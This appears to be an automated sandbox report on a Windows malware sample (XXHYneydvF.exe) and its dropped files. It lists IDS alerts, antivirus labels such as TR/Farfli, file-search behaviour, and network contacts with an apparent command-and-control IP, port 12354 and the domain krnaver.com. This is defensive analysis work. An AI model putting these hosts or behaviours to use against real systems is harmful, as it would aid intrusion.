2024-12-11T16:28:36.152356+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50779	107.163.241.204	12354	TCP
2024-12-11T16:28:36.986734+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50886	107.163.241.204	12354	TCP
2024-12-11T16:28:39.925616+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50957	107.163.241.204	12354	TCP
2024-12-11T16:28:41.063998+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51001	107.163.241.204	12354	TCP
2024-12-11T16:28:41.064152+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51060	107.163.241.204	12354	TCP
2024-12-11T16:28:43.303082+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51116	107.163.241.204	12354	TCP
2024-12-11T16:28:43.738730+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51129	107.163.241.204	12354	TCP
2024-12-11T16:28:45.079463+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51261	107.163.241.204	12354	TCP
2024-12-11T16:28:45.079476+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51252	107.163.241.204	12354	TCP
2024-12-11T16:28:47.471173+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51305	107.163.241.204	12354	TCP
2024-12-11T16:28:47.801167+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51327	107.163.241.204	12354	TCP
2024-12-11T16:28:49.219851+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51479	107.163.241.204	12354	TCP
2024-12-11T16:28:49.219912+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51489	107.163.241.204	12354	TCP
2024-12-11T16:28:51.616044+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51554	107.163.241.204	12354	TCP
2024-12-11T16:28:51.707209+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51561	107.163.241.204	12354	TCP
2024-12-11T16:28:53.380932+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51725	107.163.241.204	12354	TCP
2024-12-11T16:28:56.441611+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52442	107.163.241.204	12354	TCP
2024-12-11T16:28:56.582441+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52555	107.163.241.204	12354	TCP
2024-12-11T16:28:57.485653+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54587	107.163.241.204	12354	TCP
2024-12-11T16:28:57.485659+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55225	107.163.241.204	12354	TCP
2024-12-11T16:28:59.955938+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55674	107.163.241.204	12354	TCP
2024-12-11T16:29:00.566295+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56115	107.163.241.204	12354	TCP
2024-12-11T16:29:01.501669+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58350	107.163.241.204	12354	TCP
2024-12-11T16:29:01.501815+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57740	107.163.241.204	12354	TCP
2024-12-11T16:29:04.407825+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59607	107.163.241.204	12354	TCP
2024-12-11T16:29:04.723896+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59911	107.163.241.204	12354	TCP
2024-12-11T16:29:05.501483+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60490	107.163.241.204	12354	TCP
2024-12-11T16:29:05.501499+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61161	107.163.241.204	12354	TCP
2024-12-11T16:29:07.739834+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61428	107.163.241.204	12354	TCP
2024-12-11T16:29:09.065362+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62400	107.163.241.204	12354	TCP
2024-12-11T16:29:09.517592+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64443	107.163.241.204	12354	TCP
2024-12-11T16:29:09.517661+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63144	107.163.241.204	12354	TCP
2024-12-11T16:29:11.769945+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64785	107.163.241.204	12354	TCP
2024-12-11T16:29:11.944392+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64821	107.163.241.204	12354	TCP
2024-12-11T16:29:13.533038+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49514	107.163.241.204	12354	TCP
2024-12-11T16:29:13.533085+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49735	107.163.241.204	12354	TCP
2024-12-11T16:29:15.818364+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50681	107.163.241.204	12354	TCP
2024-12-11T16:29:16.311897+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51094	107.163.241.204	12354	TCP
2024-12-11T16:29:17.586342+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51995	107.163.241.204	12354	TCP
2024-12-11T16:29:17.586387+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52265	107.163.241.204	12354	TCP
2024-12-11T16:29:19.979290+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52917	107.163.241.204	12354	TCP
2024-12-11T16:29:20.661490+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53515	107.163.241.204	12354	TCP
2024-12-11T16:29:21.598530+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54764	107.163.241.204	12354	TCP
2024-12-11T16:29:21.598564+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55506	107.163.241.204	12354	TCP
2024-12-11T16:29:23.988896+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55847	107.163.241.204	12354	TCP
2024-12-11T16:29:24.364382+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56236	107.163.241.204	12354	TCP
2024-12-11T16:29:25.868183+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57119	107.163.241.204	12354	TCP
2024-12-11T16:29:25.868209+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57557	107.163.241.204	12354	TCP
2024-12-11T16:29:28.895268+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58458	107.163.241.204	12354	TCP
2024-12-11T16:29:29.038462+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58627	107.163.241.204	12354	TCP
2024-12-11T16:29:30.501039+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60268	107.163.241.204	12354	TCP
2024-12-11T16:29:30.501748+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60093	107.163.241.204	12354	TCP
2024-12-11T16:29:32.747482+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61703	107.163.241.204	12354	TCP
2024-12-11T16:29:33.020479+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61955	107.163.241.204	12354	TCP
2024-12-11T16:29:34.626444+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64100	107.163.241.204	12354	TCP
2024-12-11T16:29:34.626554+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64219	107.163.241.204	12354	TCP
2024-12-11T16:29:36.880102+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49502	107.163.241.204	12354	TCP
2024-12-11T16:29:36.975348+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49608	107.163.241.204	12354	TCP
2024-12-11T16:29:38.642207+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51520	107.163.241.204	12354	TCP
2024-12-11T16:29:38.643354+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51515	107.163.241.204	12354	TCP
2024-12-11T16:29:40.895503+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52952	107.163.241.204	12354	TCP
2024-12-11T16:29:41.083281+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53124	107.163.241.204	12354	TCP
2024-12-11T16:29:42.658035+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55119	107.163.241.204	12354	TCP
2024-12-11T16:29:42.658075+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	54970	107.163.241.204	12354	TCP
2024-12-11T16:29:44.898998+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56410	107.163.241.204	12354	TCP
2024-12-11T16:29:45.020967+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56516	107.163.241.204	12354	TCP
2024-12-11T16:29:46.673680+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58220	107.163.241.204	12354	TCP
2024-12-11T16:29:46.673810+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58374	107.163.241.204	12354	TCP
2024-12-11T16:29:48.927589+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60101	107.163.241.204	12354	TCP
2024-12-11T16:29:49.037091+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60148	107.163.241.204	12354	TCP
2024-12-11T16:29:50.694250+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61933	107.163.241.204	12354	TCP
2024-12-11T16:29:50.694407+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61760	107.163.241.204	12354	TCP
2024-12-11T16:29:52.943529+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63631	107.163.241.204	12354	TCP
2024-12-11T16:29:53.039239+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63685	107.163.241.204	12354	TCP
2024-12-11T16:29:54.704869+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49269	107.163.241.204	12354	TCP
2024-12-11T16:29:54.704961+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49419	107.163.241.204	12354	TCP
2024-12-11T16:29:56.943657+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51005	107.163.241.204	12354	TCP
2024-12-11T16:29:57.083365+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51116	107.163.241.204	12354	TCP
2024-12-11T16:29:58.764259+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53180	107.163.241.204	12354	TCP
2024-12-11T16:29:58.766796+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53106	107.163.241.204	12354	TCP
2024-12-11T16:30:01.037339+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53676	107.163.241.204	12354	TCP
2024-12-11T16:30:01.166269+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53713	107.163.241.204	12354	TCP
2024-12-11T16:30:02.798120+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55146	107.163.241.204	12354	TCP
2024-12-11T16:30:02.798401+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55172	107.163.241.204	12354	TCP
2024-12-11T16:30:05.082396+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57031	107.163.241.204	12354	TCP
2024-12-11T16:30:05.208554+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57052	107.163.241.204	12354	TCP
2024-12-11T16:30:06.814021+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58637	107.163.241.204	12354	TCP
2024-12-11T16:30:06.814065+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58760	107.163.241.204	12354	TCP
2024-12-11T16:30:09.052498+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60160	107.163.241.204	12354	TCP
2024-12-11T16:30:09.164213+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60290	107.163.241.204	12354	TCP
2024-12-11T16:30:10.823401+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61978	107.163.241.204	12354	TCP
2024-12-11T16:30:10.823456+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61998	107.163.241.204	12354	TCP
2024-12-11T16:30:13.054329+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63310	107.163.241.204	12354	TCP
2024-12-11T16:30:13.318101+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63579	107.163.241.204	12354	TCP
2024-12-11T16:30:15.008527+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64710	107.163.241.204	12354	TCP
2024-12-11T16:30:15.008716+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64986	107.163.241.204	12354	TCP
2024-12-11T16:30:17.420156+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49935	107.163.241.204	12354	TCP
2024-12-11T16:30:17.726651+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49937	107.163.241.204	12354	TCP
2024-12-11T16:30:19.408487+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	52177	107.163.241.204	12354	TCP
2024-12-11T16:30:19.408565+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51960	107.163.241.204	12354	TCP
2024-12-11T16:30:21.665651+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53501	107.163.241.204	12354	TCP
2024-12-11T16:30:21.794861+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53568	107.163.241.204	12354	TCP
2024-12-11T16:30:23.532694+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55317	107.163.241.204	12354	TCP
2024-12-11T16:30:23.532714+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55158	107.163.241.204	12354	TCP
2024-12-11T16:30:25.804269+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56820	107.163.241.204	12354	TCP
2024-12-11T16:30:25.883105+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56926	107.163.241.204	12354	TCP
2024-12-11T16:30:27.548162+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59127	107.163.241.204	12354	TCP
2024-12-11T16:30:27.548211+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59030	107.163.241.204	12354	TCP
2024-12-11T16:30:29.795818+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60620	107.163.241.204	12354	TCP
2024-12-11T16:30:29.896479+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	60744	107.163.241.204	12354	TCP
2024-12-11T16:30:31.565331+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62772	107.163.241.204	12354	TCP
2024-12-11T16:30:31.565418+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62663	107.163.241.204	12354	TCP
2024-12-11T16:30:33.820340+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	63969	107.163.241.204	12354	TCP
2024-12-11T16:30:34.399607+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64091	107.163.241.204	12354	TCP
2024-12-11T16:30:35.582468+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	50169	107.163.241.204	12354	TCP
2024-12-11T16:30:35.582536+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49596	107.163.241.204	12354	TCP
2024-12-11T16:30:37.823682+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51209	107.163.241.204	12354	TCP
2024-12-11T16:30:38.024083+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51400	107.163.241.204	12354	TCP
2024-12-11T16:30:39.707607+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53400	107.163.241.204	12354	TCP
2024-12-11T16:30:39.707630+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53467	107.163.241.204	12354	TCP
2024-12-11T16:30:41.962332+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55046	107.163.241.204	12354	TCP
2024-12-11T16:30:42.053042+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55162	107.163.241.204	12354	TCP
2024-12-11T16:30:43.719839+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56948	107.163.241.204	12354	TCP
2024-12-11T16:30:43.719943+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	56809	107.163.241.204	12354	TCP
2024-12-11T16:30:45.959249+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57838	107.163.241.204	12354	TCP
2024-12-11T16:30:46.068408+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	57932	107.163.241.204	12354	TCP
2024-12-11T16:30:47.723888+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59300	107.163.241.204	12354	TCP
2024-12-11T16:30:47.723904+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	59221	107.163.241.204	12354	TCP
2024-12-11T16:30:49.959664+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61033	107.163.241.204	12354	TCP
2024-12-11T16:30:50.161986+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61040	107.163.241.204	12354	TCP
2024-12-11T16:30:51.908692+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62886	107.163.241.204	12354	TCP
2024-12-11T16:30:51.908855+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62645	107.163.241.204	12354	TCP
2024-12-11T16:30:54.147467+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64289	107.163.241.204	12354	TCP
2024-12-11T16:30:54.320924+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64346	107.163.241.204	12354	TCP
2024-12-11T16:30:55.918191+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49806	107.163.241.204	12354	TCP
2024-12-11T16:30:55.918245+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49663	107.163.241.204	12354	TCP
2024-12-11T16:30:58.146799+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51271	107.163.241.204	12354	TCP
2024-12-11T16:30:58.272046+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	51355	107.163.241.204	12354	TCP
2024-12-11T16:30:59.923397+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53259	107.163.241.204	12354	TCP
2024-12-11T16:30:59.923413+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	53335	107.163.241.204	12354	TCP
2024-12-11T16:31:02.162663+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55327	107.163.241.204	12354	TCP
2024-12-11T16:31:02.322643+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	55407	107.163.241.204	12354	TCP
2024-12-11T16:31:04.063835+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58198	107.163.241.204	12354	TCP
2024-12-11T16:31:04.064062+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58015	107.163.241.204	12354	TCP
2024-12-11T16:31:06.305334+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58788	107.163.241.204	12354	TCP
2024-12-11T16:31:06.426757+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	58926	107.163.241.204	12354	TCP
2024-12-11T16:31:08.079676+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61026	107.163.241.204	12354	TCP
2024-12-11T16:31:08.079786+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	61174	107.163.241.204	12354	TCP
2024-12-11T16:31:10.318809+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62555	107.163.241.204	12354	TCP
2024-12-11T16:31:10.444086+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	62721	107.163.241.204	12354	TCP
2024-12-11T16:31:12.095243+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64703	107.163.241.204	12354	TCP
2024-12-11T16:31:12.095243+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64700	107.163.241.204	12354	TCP
2024-12-11T16:31:14.350042+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64758	107.163.241.204	12354	TCP
2024-12-11T16:31:14.446008+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	64930	107.163.241.204	12354	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: XXHYneydvF.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\yucdh\qtbbkpjim.dll	Avira: detection malicious, Label: TR/Patched.Ren.Gen
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Avira: detection malicious, Label: TR/Farfli.ltgad

Multi AV Scanner detection for dropped file

Source: C:\yucdh\qtbbkpjim.dll

ReversingLabs: Detection: 67%

Multi AV Scanner detection for submitted file

Source: XXHYneydvF.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Machine Learning detection for dropped file

Source: C:\yucdh\qtbbkpjim.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: XXHYneydvF.exe

Joe Sandbox ML: detected

Source: XXHYneydvF.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown

HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51174 version: TLS 1.0

Source: C:\Windows\SysWOW64\rundll32.exe

File created: c:\yucdh\ReadMe.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:56648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:59988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:63657 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:54578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:57913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:61380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:52767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:55135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:61736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:64583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:51641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:54686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:62243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:53014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:56387 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:58975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:62756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:65457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:57596 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:60591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:64400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 202.108.0.52:443 -> 192.168.2.8:49756 version: TLS 1.2

Source:	Binary string: c:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\.T source: rundll32.exe, 00000006.00000003.3418855777.000000000569E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\. source: rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1000B0A0 lstrcpy,lstrcat,lstrcat,lstrcat,FindFirstFileA,FindNextFileA,rand,lstrcpy,lstrcat,lstrcat,_strcmpi,GetTickCount,srand,rand,rand,rand,rand,rand,rand,rand,rand,wsprintfA,wsprintfA,WinExec,Sleep,wsprintfA,Sleep,strchr,strchr,strchr,strchr,atoi,WinExec,DeleteFileA,Sleep,lstrcat,FindNextFileA,FindClose,		6_2_1000B0A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100052A0 FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,		6_2_100052A0

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 202.108.0.52 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: krnaver.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 107.163.241.204 12354	Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 107.163.241.204 ports 1,2,3,4,5,12354

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 12354
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 12354
